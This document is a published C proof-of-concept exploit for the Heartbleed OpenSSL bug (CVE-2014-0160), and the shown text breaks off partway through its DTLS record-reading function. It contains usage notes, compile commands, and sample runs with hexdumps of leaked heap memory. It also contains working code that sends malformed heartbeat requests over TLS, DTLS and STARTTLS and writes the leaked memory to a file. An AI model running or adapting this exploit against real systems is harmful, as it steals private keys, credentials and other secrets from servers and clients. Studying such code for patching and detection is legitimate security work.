Heartbleed OpenSSL Information Leak Proof Of Concept
Posted on 25 April 2014
/* * CVE-2014-0160 heartbleed OpenSSL information leak exploit * ========================================================= * This exploit uses OpenSSL to create an encrypted connection * and trigger the heartbleed leak. The leaked information is * returned within encrypted SSL packets and is then decrypted * and wrote to a file to annoy IDS/forensics. The exploit can * set heartbeat payload length arbitrarily or use two preset * values for NULL and MAX length. The vulnerability occurs due * to bounds checking not being performed on a heap value which * is user supplied and returned to the user as part of DTLS/TLS * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to * 1.0.1f are known affected. You must run this against a target * which is linked to a vulnerable OpenSSL library using DTLS/TLS. * This exploit leaks upto 65532 bytes of remote heap each request * and can be run in a loop until the connected peer ends connection. * The data leaked contains 16 bytes of random padding at the end. * The exploit can be used against a connecting client or server, * it can also send pre_cmd's to plain-text services to establish * an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients * will often forcefully close the connection during large leak * requests so try to lower your payload request size. * * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g * * E.g. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed * $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1 * [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit * [ ============================================================= * [ connecting to 192.168.11.23 443/tcp * [ connected to 192.168.11.23 443/tcp * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ heartbleed leaked length=65535 * [ final record type=24, length=16384 * [ wrote 16381 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=42 * [ decrypting SSL packet * [ final record type=24, length=18 * [ wrote 18 bytes of heap to file 'out' * [ done. * $ ls -al out * -rwx------ 1 fantastic fantastic 65554 Apr 11 13:53 out * $ hexdump -C out * - snip - snip * * Use following example command to generate certificates for clients. * * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 * -keyout server.key -out server.crt * * Debian compile with "gcc heartbleed.c -o heartbleed -Wl,-Bstatic * -lssl -Wl,-Bdynamic -lssl3 -lcrypto" * * todo: add udp/dtls support. * * - Hacker Fantastic * http://www.mdsec.co.uk * */ /* Modified by Ayman Sagy aymansagy @ gmail.com - Added DTLS over UDP support * * use -u switch, tested against s_server/s_client version 1.0.1d * * # openssl s_server -accept 990 -cert ssl.crt -key ssl.key -dtls1 * ... * # ./heartbleed -s 192.168.75.235 -p 990 -f eshta -t 1 -u * [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit * [ ============================================================= * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=1392 * [ decrypting SSL packet * [ heartbleed leaked length=1336 * [ final record type=24, length=1355 * [ wrote 1352 bytes of heap to file 'eshta' * * * # hexdump -C eshta * 00000000 00 00 00 00 06 30 f1 95 08 00 00 00 00 00 00 00 |.....0..........| * 00000010 8c 43 64 ab e3 89 6b fd e3 d3 74 a1 a1 31 8c 35 |.Cd...k...t..1.5| * 00000020 09 6d b9 e7 08 08 08 08 08 08 08 08 08 a1 65 9f |.m............e.| * 00000030 ca 13 80 7c a5 88 b0 c9 d5 f6 7b 14 fe ff 00 00 |...|......{.....| * 00000040 00 00 00 00 00 03 00 01 01 16 fe ff 00 01 00 00 |................| * 00000050 00 00 00 00 00 40 b5 fd a5 10 da c4 fd fb c7 d2 |.....@..........| * 00000060 9f 0c 56 4b a9 9c 14 00 00 0c 00 03 00 00 00 00 |..VK............| * 00000070 00 0c 69 ec c4 d5 f3 38 ae e5 2e 3a 1a 32 f9 30 |..i....8...:.2.0| * 00000080 7f 61 4c 8c d7 34 f3 02 08 3f 68 01 a9 a7 81 55 |.aL..4...?h....U| * 00000090 01 c9 03 03 03 03 00 00 0e 31 39 32 2e 31 36 38 |.........192.168| * 000000a0 2e 37 35 2e 32 33 35 00 23 00 00 00 0f 00 01 01 |.75.235.#.......| * 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * * 00000530 00 00 00 00 00 00 00 00 a5 e2 f5 67 d6 23 85 49 |...........g.#.I| * 00000540 b3 cc ed c4 d2 74 c8 97 c1 b4 cc |.....t.....| * 0000054b * * * # openssl s_client -connect localhost:990 -dtls1 * ... * # ./heartbleed -b localhost -p 990 -u -t 1 -f eshta * [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit * [ ============================================================= * [ SSL connection using AES256-SHA * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=1392 * [ decrypting SSL packet * [ heartbleed leaked length=1336 * [ final record type=24, length=1355 * [ wrote 1352 bytes of heap to file 'eshta' * * * # hexdump -C eshta * 00000000 00 00 24 4e b7 00 00 00 00 00 00 00 00 18 00 00 |..$N............| * 00000010 cf d0 5f df c3 64 5f 58 79 17 f8 f7 22 9b 28 6e |.._..d_Xy...".(n| * 00000020 c0 e7 d6 a3 08 08 08 08 08 08 08 08 08 9b c3 38 |...............8| * 00000030 2b 32 5f dd 3a d5 0f 83 51 02 2f 70 33 8f cf 82 |+2_.:...Q./p3...| * 00000040 21 5b cc 25 80 26 f3 29 c8 90 91 ec 5c 83 68 ee |![.%.&.).....h.| * 00000050 6b 11 0d ad f1 f4 da 9e 13 59 8f 2a 74 f6 d4 35 |k........Y.*t..5| * 00000060 9e 17 12 7c 2b 6f 9e a8 1e b4 7a 3c a5 ec 18 e0 |...|+o....z<....| * 00000070 44 b2 51 e4 69 8c 47 29 39 fb 9e b0 dd 5b 05 4d |D.Q.i.G)9....[.M| * 00000080 db 11 06 7b 1d 08 58 60 ac 34 3f 2d d1 14 c1 b7 |...{..X`.4?-....| * 00000090 d5 08 59 73 16 28 f8 75 23 f7 85 27 48 be 1f 14 |..Ys.(.u#..'H...| * 000000a0 fe ff 00 00 00 00 00 00 00 04 00 01 01 16 fe ff |................| * 000000b0 00 01 00 00 00 00 00 00 00 40 62 1c 02 19 45 5f |.........@b...E_| * 000000c0 2c a6 89 95 d2 bf 16 c4 8b b7 14 00 00 0c 00 04 |,...............| * 000000d0 00 00 00 00 00 0c e9 fb 75 02 61 90 be 4d f7 82 |........u.a..M..| * 000000e0 06 d6 fd 6d 53 a1 d5 44 e0 5a 0d 6a 6a 94 ef e8 |...mS..D.Z.jj...| * 000000f0 4c 01 4b cb 86 73 03 03 03 03 2d 53 74 61 74 65 |L.K..s....-State| * 00000100 31 21 30 1f 06 03 55 04 0a 0c 18 49 6e 74 65 72 |1!0...U....Inter| * 00000110 6e 65 74 20 57 69 64 67 69 74 73 20 50 74 79 20 |net Widgits Pty | * 00000120 4c 74 64 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 |Ltd0.."0...*.H..| * 00000130 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 |...........0....| * 00000140 82 01 01 00 c0 85 26 4a 9d cd f8 5e 46 74 fa 89 |......&J...^Ft..| * 00000150 e3 7d 58 76 23 ba ba dc b1 35 98 35 a5 ba 53 a1 |.}Xv#....5.5..S.| * 00000160 5b 37 28 fe f7 d0 02 fc fd c9 e3 b1 ee e6 fe 79 |[7(............y| * 00000170 86 f8 81 1a 29 29 a9 81 95 1c c9 5c 81 a2 e8 0c |....)).........| * 00000180 35 b7 cb 67 8a ec 2a d1 73 e6 70 78 53 c8 50 91 |5..g..*.s.pxS.P.| * 00000190 49 07 db e1 a4 08 7b fb 07 54 48 85 45 c2 38 71 |I.....{..TH.E.8q| * 000001a0 6a 8a f2 4d a7 ba 1a 86 36 a2 ae bb a1 e1 7c 2c |j..M....6.....|,| * 000001b0 12 04 ce e5 d1 75 24 94 1c 31 2c 46 b7 76 30 3a |.....u$..1,F.v0:| * 000001c0 04 79 2f b3 65 74 fb ae c7 10 a5 da a8 2d b6 fd |.y/.et.......-..| * 000001d0 cf f9 11 fe 38 cd 25 7e 13 75 14 1d 58 92 bb 3f |....8.%~.u..X..?| * 000001e0 8f 75 d5 52 f7 27 66 ca 5d 55 4d 0a b5 71 a2 16 |.u.R.'f.]UM..q..| * 000001f0 3e 01 af 97 93 eb 5c 3f e0 fa c8 61 2c a1 87 8f |>.....?...a,...| * 00000200 60 d4 df 5d 9d cd 0f 34 a9 66 6c 93 d8 5f 4a 2b |`..]...4.fl.._J+| * 00000210 fd 67 3a 2f 88 90 b4 e9 f5 d6 ee bb 7d 8b 1c e5 |.g:/........}...| * 00000220 f2 cc 4f b2 c0 dc e8 1b 4c 6e 51 c9 47 8b 6c 82 |..O.....LnQ.G.l.| * 00000230 f9 4b ae 01 a8 f9 6c 6d d5 1a d5 cf 63 f4 7f e0 |.K....lm....c...| * 00000240 96 54 3f 7d 02 03 01 00 01 a3 50 30 4e 30 1d 06 |.T?}......P0N0..| * 00000250 03 55 1d 0e 04 16 04 14 af 97 4e 87 62 8a 77 b8 |.U........N.b.w.| * 00000260 b4 0b 24 20 35 b1 66 09 55 3f 74 1d 30 1f 06 03 |..$ 5.f.U?t.0...| * 00000270 55 1d 23 04 18 30 16 80 14 af 97 4e 87 62 8a 77 |U.#..0.....N.b.w| * 00000280 b8 b4 0b 24 20 35 b1 66 09 55 3f 74 1d 30 0c 06 |...$ 5.f.U?t.0..| * 00000290 03 55 1d 13 04 05 30 03 01 01 ff 30 0d 06 09 2a |.U....0....0...*| * 000002a0 86 48 86 f7 0d 01 01 05 05 00 03 82 01 01 00 b0 |.H..............| * 000002b0 8e 40 58 2d 86 32 95 11 a7 a1 64 1d fc 08 8d 87 |.@X-.2....d.....| * 000002c0 18 d3 5d c6 a0 bb 84 4a 50 f5 27 1c 15 4b 02 0c |..]....JP.'..K..| * 000002d0 49 1f 2d 0a 52 d3 98 6b 71 3d b9 0f 36 24 d3 77 |I.-.R..kq=..6$.w| * 000002e0 e0 d0 a5 50 e5 ea 2d 67 11 69 4d 45 52 97 4d 58 |...P..-g.iMER.MX| * 000002f0 de 22 06 02 6d 21 80 2f 0d 1c d5 d5 80 5c 8f 44 |."..m!./......D| * 00000300 1e b6 f3 41 4c dc d3 40 8d 54 ac b0 ca 8f 19 6a |...AL..@.T.....j| * 00000310 4d f2 fb ad 68 5a 99 19 ca ae b2 f5 54 70 29 96 |M...hZ......Tp).| * 00000320 84 7e ba a9 6b 42 e6 68 32 dc 65 87 b1 b7 17 22 |.~..kB.h2.e...."| * 00000330 e3 cc 62 97 e4 fa 64 0b 1e 70 bf e5 a2 40 e4 49 |..b...d..p...@.I| * 00000340 24 f9 05 3f 2e fe 7c 38 56 39 4d bd 51 63 0d 79 |$..?..|8V9M.Qc.y| * 00000350 85 c0 4b 1a 46 64 e0 fe a8 87 bf c7 4d 21 cb 79 |..K.Fd......M!.y| * 00000360 37 e7 a6 e3 6c 3b ed 35 17 73 7a 71 c6 72 2f bb |7...l;.5.szq.r/.| * 00000370 58 dc ef e9 1e a3 89 5e 70 cd 95 10 87 c1 8a 7e |X......^p......~| * 00000380 e7 51 c2 22 67 66 ee 22 f9 a5 2e 31 f2 ad fc 3b |.Q."gf."...1...;| * 00000390 98 c8 30 63 ef 74 b5 4e c4 bd c7 a2 46 0a b8 bf |..0c.t.N....F...| * 000003a0 df a8 54 0e 4f 37 d0 a5 27 a3 f3 a7 28 38 3f 16 |..T.O7..'...(8?.| * 000003b0 fe ff 00 00 00 00 00 00 00 02 00 0c 0e 00 00 00 |................| * 000003c0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000003d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * * * 00000530 00 00 00 00 00 00 00 00 82 8f be ff cf 26 12 9d |.............&..| * 00000540 a2 de 0c 44 21 4a 54 be 41 4c df |...D!JT.AL.| * 0000054b * */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <getopt.h> #include <signal.h> #include <netdb.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <inttypes.h> #include <openssl/bio.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/evp.h> #include <openssl/tls1.h> #include <openssl/rand.h> #include <openssl/buffer.h> #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2) #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2) int first = 0; int leakbytes = 0; int repeat = 1; int badpackets = 0; typedef struct { int socket; SSL *sslHandle; SSL_CTX *sslContext; } connection; typedef struct { unsigned char type; short version; unsigned int length; unsigned char hbtype; unsigned int payload_length; void* payload; } heartbeat; void ssl_init(); void usage(); int tcp_connect(char*,int); int tcp_bind(char*, int); connection* tls_connect(int); connection* tls_bind(int); int pre_cmd(int,int,int); void* heartbleed(connection* ,unsigned int); void* sneakyleaky(connection* ,char*, int); static DTLS1_BITMAP *dtls1_get_bitmap(SSL *s, SSL3_RECORD *rr, unsigned int *is_next_epoch); static int dtls1_record_replay_check(SSL *s, DTLS1_BITMAP *bitmap); static int dtls1_buffer_record(SSL *s, record_pqueue *q, unsigned char *priority); static void dtls1_record_bitmap_update(SSL *s, DTLS1_BITMAP *bitmap); int tcp_connect(char* server,int port){ int sd,ret; struct hostent *host; struct sockaddr_in sa; host = gethostbyname(server); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd==-1){ printf("[!] cannot create socket "); exit(0); } sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = *((struct in_addr *) host->h_addr); bzero(&(sa.sin_zero),8); printf("[ connecting to %s %d/tcp ",server,port); ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr)); if(ret==0){ printf("[ connected to %s %d/tcp ",server,port); } else{ printf("[!] FATAL: could not connect to %s %d/tcp ",server,port); exit(0); } return sd; } int tcp_bind(char* server, int port){ int sd, ret, val=1; struct sockaddr_in sin; struct hostent *host; host = gethostbyname(server); sd=socket(AF_INET,SOCK_STREAM,0); if(sd==-1){ printf("[!] cannot create socket "); exit(0); } memset(&sin,0,sizeof(sin)); sin.sin_addr=*((struct in_addr *) host->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons(port); setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val)); ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin)); if(ret==-1){ printf("[!] cannot bind socket "); exit(0); } listen(sd,5); return(sd); } connection* dtls_server(int sd, char* server,int port){ int bytes; connection *c; char* buf; buf = malloc(4096); int ret; struct hostent *host; struct sockaddr_in sa; unsigned long addr; if ((host = gethostbyname(server)) == NULL) { perror("gethostbyname"); exit(1); } sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd==-1){ printf("[!] cannot create socket "); exit(0); } sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = *((struct in_addr *) host->h_addr); if (bind(sd, (struct sockaddr *) &sa ,sizeof(struct sockaddr_in)) < 0) { perror("bind()"); exit(1); } BIO *bio; if(c==NULL){ printf("[ error in malloc() "); exit(0); } if(buf==NULL){ printf("[ error in malloc() "); exit(0); } memset(buf,0,4096); c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc() "); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(DTLSv1_server_method()); SSL_CTX_set_read_ahead (c->sslContext, 1); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); SSL_CTX_SRP_CTX_init(c->sslContext); SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM); if(!SSL_CTX_check_private_key(c->sslContext)){ printf("[!] FATAL: private key does not match the certificate public key "); exit(0); } c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); bio = BIO_new_dgram(sd, BIO_NOCLOSE); SSL_set_bio(c->sslHandle, bio, bio); SSL_set_accept_state (c->sslHandle); int rc = SSL_accept(c->sslHandle); printf ("[ SSL connection using %s ", SSL_get_cipher (c->sslHandle)); // bytes = SSL_read(c->sslHandle, buf, 4095); // printf("[ recieved: %d bytes - showing output %s [ ",bytes,buf); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway) "); } return c; } void ssl_init(){ SSL_load_error_strings(); SSL_library_init(); OpenSSL_add_all_digests(); OpenSSL_add_all_algorithms(); OpenSSL_add_all_ciphers(); } connection* tls_connect(int sd){ connection *c; c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc() "); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_client_method()); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); if(SSL_connect(c->sslHandle)!=1) ERR_print_errors_fp(stderr); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway) "); } return c; } connection* dtls_client(int sd, char* server,int port){ int ret; struct hostent *host; struct sockaddr_in sa; connection *c; memset((char *)&sa,0,sizeof(sa)); c = malloc(sizeof(connection)); if ((host = gethostbyname(server)) == NULL) { perror("gethostbyname"); exit(1); } sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd==-1){ printf("[!] cannot create socket "); exit(0); } sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = *((struct in_addr *) host->h_addr); if (connect(sd, (struct sockaddr *) &sa ,sizeof(struct sockaddr_in)) < 0) { perror("connect()"); exit(0); } BIO *bio; if(c==NULL){ printf("[ error in malloc() "); exit(0); } c->sslContext = NULL; c->sslContext = SSL_CTX_new(DTLSv1_client_method()); SSL_CTX_set_read_ahead (c->sslContext, 1); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); c->socket = sd; c->sslHandle = NULL; c->sslHandle = SSL_new(c->sslContext); SSL_set_tlsext_host_name(c->sslHandle,server); bio = BIO_new_dgram(sd, BIO_NOCLOSE); BIO_ctrl_set_connected(bio, 1, &sa); SSL_set_bio(c->sslHandle, bio, bio); SSL_set_connect_state (c->sslHandle); //printf("eshta "); if(SSL_connect(c->sslHandle)!=1) ERR_print_errors_fp(stderr); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway), %d ",c->sslHandle->tlsext_heartbeat); } return c; } connection* tls_bind(int sd){ int bytes; connection *c; char* buf; buf = malloc(4096); if(buf==NULL){ printf("[ error in malloc() "); exit(0); } memset(buf,0,4096); c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc() "); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_server_method()); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); SSL_CTX_SRP_CTX_init(c->sslContext); SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM); if(!SSL_CTX_check_private_key(c->sslContext)){ printf("[!] FATAL: private key does not match the certificate public key "); exit(0); } c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); int rc = SSL_accept(c->sslHandle); printf ("[ SSL connection using %s ", SSL_get_cipher (c->sslHandle)); bytes = SSL_read(c->sslHandle, buf, 4095); printf("[ recieved: %d bytes - showing output %s [ ",bytes,buf); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway) "); } return c; } int pre_cmd(int sd,int precmd,int verbose){ /* this function can be used to send commands to a plain-text service or client before heartbleed exploit attempt. e.g. STARTTLS */ int rc, go = 0; char* buffer; char* line1; char* line2; switch(precmd){ case 0: line1 = "EHLO test "; line2 = "STARTTLS "; break; case 1: line1 = "CAPA "; line2 = "STLS "; break; case 2: line1 = "a001 CAPB "; line2 = "a002 STARTTLS "; break; default: go = 1; break; } if(go==0){ buffer = malloc(2049); if(buffer==NULL){ printf("[ error in malloc() "); exit(0); } memset(buffer,0,2049); rc = read(sd,buffer,2048); printf("[ banner: %s",buffer); send(sd,line1,strlen(line1),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s ",buffer); } send(sd,line2,strlen(line2),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s ",buffer); } } return sd; } void* heartbleed(connection *c,unsigned int type){ unsigned char *buf, *p; int ret; buf = OPENSSL_malloc(1 + 2); if(buf==NULL){ printf("[ error in malloc() "); exit(0); } p = buf; *p++ = TLS1_HB_REQUEST; switch(type){ case 0: s2n(0x0,p); break; case 1: s2n(0xffff,p); break; default: printf("[ setting heartbeat payload_length to %u ",type); s2n(type,p); break; } printf("[ <3 <3 <3 heart bleed <3 <3 <3 "); ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3); OPENSSL_free(buf); return c; } void* dtlsheartbleed(connection *c,unsigned int type){ unsigned char *buf, *p; int ret; buf = OPENSSL_malloc(1 + 2 + 16); memset(buf, ' ', sizeof buf); if(buf==NULL){ printf("[ error in malloc() "); exit(0); } p = buf; *p++ = TLS1_HB_REQUEST; switch(type){ case 0: s2n(0x0,p); break; case 1: // s2n(0xffff,p); // s2n(0x3feb,p); s2n(0x0538,p); break; default: printf("[ setting heartbeat payload_length to %u ",type); s2n(type,p); break; } s2n(c->sslHandle->tlsext_hb_seq, p); printf("[ <3 <3 <3 heart bleed <3 <3 <3 "); ret = dtls1_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3 + 16); if (ret >= 0) { if (c->sslHandle->msg_callback) c->sslHandle->msg_callback(1, c->sslHandle->version, TLS1_RT_HEARTBEAT, buf, 3 + 16, c->sslHandle, c->sslHandle->msg_callback_arg); dtls1_start_timer(c->sslHandle); c->sslHandle->tlsext_hb_pending = 1; } OPENSSL_free(buf); return c; } void* sneakyleaky(connection *c,char* filename, int verbose){ char *p; int ssl_major,ssl_minor,al; int enc_err,n,i; SSL3_RECORD *rr; SSL_SESSION *sess; SSL* s; unsigned char md[EVP_MAX_MD_SIZE]; short version; unsigned mac_size, orig_len; size_t extra; rr= &(c->sslHandle->s3->rrec); sess=c->sslHandle->session; s = c->sslHandle; if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER) extra=SSL3_RT_MAX_EXTRA; else extra=0; if ((s->rstate != SSL_ST_READ_BODY) || (s->packet_length < SSL3_RT_HEADER_LENGTH)) { n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); if (n <= 0) goto apple; s->rstate=SSL_ST_READ_BODY; p=s->packet; rr->type= *(p++); ssl_major= *(p++); ssl_minor= *(p++); version=(ssl_major<<8)|ssl_minor; n2s(p,rr->length); if(rr->type==24){ printf("[ heartbeat returned type=%d length=%u ",rr->type, rr->length); if(rr->length > 16834){ printf("[ error: got a malformed TLS length. "); exit(0); } } else{ printf("[ incorrect record type=%d length=%u returned ",rr->type,rr->length); s->packet_length=0; badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved "); exit(0); } goto apple; } } if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){ i=rr->length; n=ssl3_read_n(s,i,i,1); if (n <= 0) goto apple; } printf("[ decrypting SSL packet "); s->rstate=SSL_ST_READ_HEADER; rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]); rr->data=rr->input; tls1_enc(s,0); if((sess != NULL) && (s->enc_read_ctx != NULL) && (EVP_MD_CTX_md(s->read_hash) != NULL)) { unsigned char *mac = NULL; unsigned char mac_tmp[EVP_MAX_MD_SIZE]; mac_size=EVP_MD_CTX_size(s->read_hash); OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); orig_len = rr->length+((unsigned int)rr->type>>8); if(orig_len < mac_size || (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && orig_len < mac_size+1)){ al=SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); } if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){ mac = mac_tmp; ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); rr->length -= mac_size; } else{ rr->length -= mac_size; mac = &rr->data[rr->length]; } i = tls1_mac(s,md,0); if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) enc_err = -1; if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size) enc_err = -1; } if(enc_err < 0){ al=SSL_AD_BAD_RECORD_MAC; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); goto apple; } if(s->expand != NULL){ if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); goto apple; } if (!ssl3_do_uncompress(s)) { al=SSL_AD_DECOMPRESSION_FAILURE; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); goto apple; } } if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); goto apple; } rr->off=0; s->packet_length=0; if(first==0){ uint heartbleed_len = 0; char* fp = s->s3->rrec.data; (long)fp++; memcpy(&heartbleed_len,fp,2); heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len & 0xff00) >> 8; first = 2; leakbytes = heartbleed_len + 16; printf("[ heartbleed leaked length=%u ",heartbleed_len); } if(verbose==1){ { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':' '); } printf(" "); } leakbytes-=rr->length; if(leakbytes > 0){ repeat = 1; } else{ repeat = 0; } printf("[ final record type=%d, length=%u ", rr->type, rr->length); int output = s->s3->rrec.length-3; if(output > 0){ int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); if(first==2){ first--; write(fd,s->s3->rrec.data+3,s->s3->rrec.length); /* first three bytes are resp+len */ printf("[ wrote %d bytes of heap to file '%s' ",s->s3->rrec.length-3,filename); } else{ /* heap data & 16 bytes padding */ write(fd,s->s3->rrec.data+3,s->s3->rrec.length); printf("[ wrote %d bytes of heap to file '%s' ",s->s3->rrec.length,filename); } close(fd); } else{ printf("[ nothing from the heap to write "); } return; apple: printf("[ problem handling SSL record packet - wrong type? "); badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved "); exit(0); } return; } void* dtlssneakyleaky(connection *c,char* filename, int verbose){ char *p; int ssl_major,ssl_minor,al; int enc_err,n,i; SSL3_RECORD *rr; SSL_SESSION *sess; SSL* s; DTLS1_BITMAP *bitmap; unsigned int is_next_epoch; unsigned char md[EVP_MAX_MD_SIZE]; short version; unsigned int mac_size, orig_len; rr= &(c->sslHandle->s3->rrec); sess=c->sslHandle->session; s = c->sslHandle; again: if ((s->rstate != SSL_ST_READ_BODY) || (s->packet_length < DTLS1_RT_HEADER_LENGTH)) { n=ssl3_read_n(s, DTLS1_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); if (n <= 0) goto apple; s->rstate=SSL_ST_READ_BODY; p=s->packet; rr->type= *(p++); ssl_major= *(p++); ssl_minor= *(p++); version=(ssl_major<<8)|ssl_minor; n2s(p,rr->epoch); memcpy(&(s->s3->read_sequence[2]), p, 6); p+=6; n2s(p,rr->length); if(rr->type==24){ printf("[ heartbeat returned type=%d length=%u ",rr->type, rr->length); if(rr->length > 16834){ printf("[ error: got a malformed TLS length. "); exit(0); } } else{ printf("[ incorrect record type=%d length=%u returned ",rr->type,rr->length); s->packet_length=0; badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved "); exit(0); } goto apple; } } if (rr->length > s->packet_length-DTLS1_RT_HEADER_LENGTH){ i=rr->length; 